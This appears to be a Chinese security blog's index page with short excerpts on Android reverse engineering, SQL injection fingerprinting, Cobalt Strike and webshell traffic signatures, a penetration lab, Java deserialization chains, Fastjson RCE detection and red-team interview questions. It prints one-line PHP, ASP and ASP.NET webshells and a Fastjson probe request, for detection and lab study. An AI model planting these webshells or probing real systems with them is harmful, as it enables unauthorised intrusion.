Android逆向(2):smali基础
JVM、Dalvik、ART
JVM是Java虚拟机,运行Java字节码程序
Dalvik是Android专属的虚拟机,有专属的文件执行格式DEX(Dalvik executable)
ART(Android Runtime)是Dalvik的升级版
smali基础语法
smali是Dalvik的寄存器语言,smali代码是dex反编译得到的。
常见关键词
名称
注释
.class
类名
.super
父类名,继承的上级类名名称
.source
源名
.field
变量
.method
方法名
.register
寄存器
.end method
方法名的结束
public
公有
protected
半公开,只有同一家人才能用
private
私有,只能自己使用
.parameter
方法参数
.prologue
方法开始
.line xxx
位于第xxx行
常见数据类型
smali类型
java类型
注释
V
void
无返回值
Z
boolean
布尔值类型,返回0或1
B
byte
字节类型 ...
Android逆向(1):APK文件结构、基础修改
APK文件结构
APK全程Android Package,相当于一个压缩文件。以压缩包的形式打开一个APK可以看到他的结构:
文件
描述
kotlin
使用kotlin编写的Android应用时携带的库
META-INF
保存应用的签名信息,用于验证应用完整性
okhttp3
一个依赖包
res
存放app前端用到的一些图形组件库,一些情况下APP会将证书放在里面的raw目录底下
assets
存放app的资源文件,通常存放图片之类的静态资源,有时候会存放app的证书,一些仅由HTML5封装的app,其前端代码也会存放在该文件夹下
AndroidManifest.xml
APK的应用清单,描述了应用的名字、版本、权限、引用的库文件等信息
classes.dex
java源码编译后的java字节码文件,应用运行的主要逻辑
resources.arsc
编译后的二进制资源文件,为一个映射表
汉化
流程图
现在我们的示例app里面有一个需要我们汉化的地方
现在我们用第一种方法:我们使用NP管理器,打开APK,搜索hello
通过这种方式 ...
SQL注入判断数据库类型
基于报错信息判断
如果注入点对报错信息直接进行返回的话,我们可以通过他返回的报错信息判断得到数据库的类型,以下为不完全列举,具体可以直接把报错语句丢到搜索引擎或AI查询
MySQL错误信息
1You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near...
SQL Server错误信息
123Incorrect syntax near...或Unclosed quotation mark after the character string...
还会出现类似于
1错误[42000]:在应使用条件的上下文(在'iamasb'附近)中指定了非布尔类型的表达式
Oracle错误信息
1ORA-00933: SQL command not properly ended
PostgreSQL错误信息
1ERROR: syntax error at or near...
...
CobaltStrike流量特征
原文与图片来源:https://www.ddosi.org/cobaltstrike/
基础特征(修改profile/证书可隐藏)
http请求
http-beacon通信中,在默认profile文件的情况下,会使用get方法向/ca /dpixel /__utm.gif等地址发起请求,同时会存在cookie字段、其值为base64编码后的非对称算法加密数据。
1234567891011121314151617181920212223# default c2-http profile# define indicators for an HTTP GEThttp-get { # Beacon will randomly choose from this pool of URIs set uri "/ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga. ...
渗透+应急靶机:vulntarget-m
靶机拓扑图及配置
靶机配置:https://mp.weixin.qq.com/s?__biz=Mzg3NDYwNjQyMw==&mid=2247490554&idx=1&sn=4405de5d10e421cf7d0ed51e2e298eb4&scene=21#wechat_redirect
入口机1
尝试获取立足点
通过fscan扫描发现一个nacos网页和两个nacos漏洞
URLDNS反序列化利用链
URLDNS
URLDNS为ysoserial工具中的一条反序列化利用链,一般用于检测是否存在反序列化漏洞。
该利用链有以下特点:
不限制JDK版本,不使用第三方依赖
只能发起DNS请求,不能进行其他利用,只能验证是否存在反序列化
ysoserial源码中列出的利用链为如下
12345* Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode()
其调用链为:Deserializer.deserialize() -> HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode() -> getHostAddress()
最终通过getHostAddress()发出dns请求。
参考:
告别脚本小子系列丨JAVA安全(6)——反序列化利用链(上) - FreeBuf网络安全行业门户
Ja ...
/etc/docker/deamon.json文件修改后重启Docker服务不生效解决方案
环境
Ubuntu22.04 LTS
Docker Engine Community Version 28.1.0
问题介绍
参照了网上众多教程配置Docker daemon.json文件,基本都是一种方法
12345sudo mkdir -p /etc/dockersudo vim /etc/docker/daemon.json// 修改相关配置文件sudo systemctl daemon-reload && sudo systemctl restart docker
都是修改配置文件后,重载daemon和重启docker服务。以前使用这种方法是没问题,不知道为什么最近用相同的方法已经无法使用了,使用docker info查看Mirrors之类的配置也是为空
1sudo docker info|grep Mirrors -A 1
解决方案
在折磨了我解决一个小时之后,我在网上找到了一篇解决方案
【踩坑】Docker deamon.json 文件修改之后重启不生效_docker daemon.json 不生效-CSDN博客
总而言之就是,直接重启没用了,首先要停止 ...
Fastjson RCE漏洞
Fastjson漏洞
判断是否使用Fastjson
本次测试以vulhub提供的版本1.2.24和1.2.45为例
单{报错
123456POST / HTTP/1.1Host: 192.168.200.130:8090Content-Type: application/jsonContent-Length: 385\u007B
在1.2.24版本,使用非闭合的{会导致500报错
12345678910111213HTTP/1.1 500Content-Type: application/jsonDate: Sun, 20 Apr 2025 14:01:08 GMTConnection: closeContent-Length: 161{ "timestamp": 1745157668563, "status": 500, "error": "Internal Server Error", "message": "syntax erro ...
HVV面试题-2024、2025
国誉2024初筛
用过什么安全设备
给你一个登录框,可能有什么漏洞
sql注入、xss、csrf、会话劫持
sql注入的类型
字符、布尔、报错、时间盲注、联合、堆叠、宽字节、XFF
错误注入使用的方法有哪些
extractValue、updateXml、floor
宽字节注入的编码格式是什么
GBK
时间盲注不能使用工具或者脚本,怎么样注入较快
尝试外带查询
优化查询策略采用二分查找法
简化数据集
sqlmap的level和risk有什么区别,level各个等级代表什么意思
–level和–risk是数字愈大级别越高,–level有1-5,–risk有1-3
level侧重点在于注入点。risk侧重点在于注入的方法和攻击者愿意承担的风险。
level默认等级会测试get和post请求中的参数。level2会测cookie。level3会测ua和refferer。level4-5会测各种payload和边界条件。
risk默认等级安全第一,风险低,只测默认的几种注入方法。risk2会尝试更多类型的注入,如时间盲注等。risk3会尝试更多方式的注入,有可能会更新数据库 ...
常见webshell的流量特征
菜刀流量特征
静态特征
菜刀用的是一句话木马,特征很明显
123PHP: <?php @eval([$_post['hacker']]); ?>ASP: <% eval request("hacker")%>ASP.NET: <%@ Page Language="Javascript"%><% eval(Request.Item["hacker"],"unsafe");%>
动态特征
payload在请求体中,采用url编码+base64编码,payload部分是明文传输;
payload中有eval或assert、base64_decode这样的字符;
payload中有默认固定的&z0=QGluaV9zZXQ…这样base64加密的攻击载荷,参数z0对应$_POST[z0]接收到的数据,且固定为QGluaV9zZXQ开头。
进行base64解码后可看到代码:@ini_set(“display_errors”,“ ...